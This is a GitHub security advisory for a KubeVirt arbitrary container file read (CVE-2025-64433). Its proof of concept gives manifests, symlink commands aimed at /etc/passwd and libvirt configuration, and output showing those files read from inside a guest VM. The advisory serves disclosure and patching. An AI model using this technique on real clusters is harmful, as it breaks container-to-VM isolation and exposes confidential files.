GHSA-qw6q-3pgr-5cwq
KubeVirt Arbitrary Container File Read
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | kubevirt.io/kubevirt | < 1.5.3 | 1.5.3 |
| Go | kubevirt.io/kubevirt | >= 1.6.0-alpha.0, < 1.6.1 | 1.6.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC.
### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
A vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod's file system. Since `libvirt` can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.
Although a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod's file system or on a mounted PVC from within the guest VM.
### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._
Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:
```yaml
# The YAML definition of two PVCs that the attacker has access to
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc-arbitrary-container-read-1
spec:
accessModes:
- ReadWriteMany # suitable for migration (:= RWX)
resources:
requests:
storage: 500Mi
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc-arbitrary-container-read-2
spec:
accessModes:
- ReadWriteMany # suitable for migration (:= RWX)
resources:
requests:
storage: 500Mi
---
# The attacker-controlled container used to create the symlinks in the above PVCs
apiVersion: v1
kind: Pod
metadata:
name: dual-pvc-pod
spec:
containers:
- name: app-container
image: alpine
command: ["/some-vulnerable-app"]
volumeMounts:
- name: pvc-volume-one
mountPath: /mnt/data1
- name: pvc-volume-two
mountPath: /mnt/data2
volumes:
- name: pvc-volume-one
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-1
- name: pvc-volume-two
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-2
```
By default, Minikube's storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:
```bash
# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.
attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img
attacker@dual-pvc-pod:/mnt/data1 $ls -l
lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml
# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM
attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img
attacker@dual-pvc-pod:/mnt/data2 $ls -l
lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd
```
Of course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod's file system. The attacker then deploy the following VM:
```yaml
# arbitrary-container-read.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: arbitrary-container-read
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: arbitrary-container-read
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: pvc-1
disk:
bus: virtio
- name: pvc-2
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
interfaces:
- name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
- name: default
pod: {}
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: pvc-1
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-1
- name: pvc-2
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-2
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
```
The two PVCs will be mounted as volumes in "filesystem" mode:
From the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it's expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod's file system:
```bash
# Deploy the VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml
virtualmachine.kubevirt.io/arbitrary-container-read created
# Observe the deployment status
operator@minikube:~$ kubectl get vmis
NAME AGE PHASE IP NODENAME READY
arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True
# Initiate a console connection to the running VM
operator@minikube:~$ virtctl console arbitrary-container-read
```
```bash
# Within the `arbitrary-container-read` VM, inspect the available block devices
root@arbitrary-container-read:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda 253:0 0 44M 0 disk
|-vda1 253:1 0 35M 0 part /
-vda15 253:15 0 8M 0 part
vdb 253:16 0 20K 0 disk
vdc 253:32 0 512B 0 disk
vdd 253:48 0 1M 0 disk
# Inspect the mounted /etc/passwd of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdc
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20
<!--
WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE
OVERWRITTEN AND LOST. Changes to this xml configuration should be made using:
virsh edit default_arbitrary-container-read
or other application using the libvirt API.
-->
<domstatus state='paused' reason='starting up' pid='80'>
<monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/>
<vcpus>
</vcpus>
<qemuCaps>
<flag name='hda-duplex'/>
<flag name='piix3-usb-uhci'/>
<flag name='piix4-usb-uhci'/>
<flag name='usb-ehci'/>
<flag name='ich9-usb-ehci1'/>
<flag name='usb-redir'/>
<flag name='usb-hub'/>
<flag name='ich9-ahci'/>
```
```bash
operator@minikube:~$ kubectl get pods
NAME READY STATUS RESTARTS AGE
dual-pvc-pod 1/1 Running 0 20m
virt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m
# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd
-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd
```
### Impact
_What kind of vulnerability is it? Who is impacted?_
This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq
- https://nvd.nist.gov/vuln/detail/CVE-2025-64433
- https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64
- https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849
- https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08
- https://github.com/kubevirt/kubevirt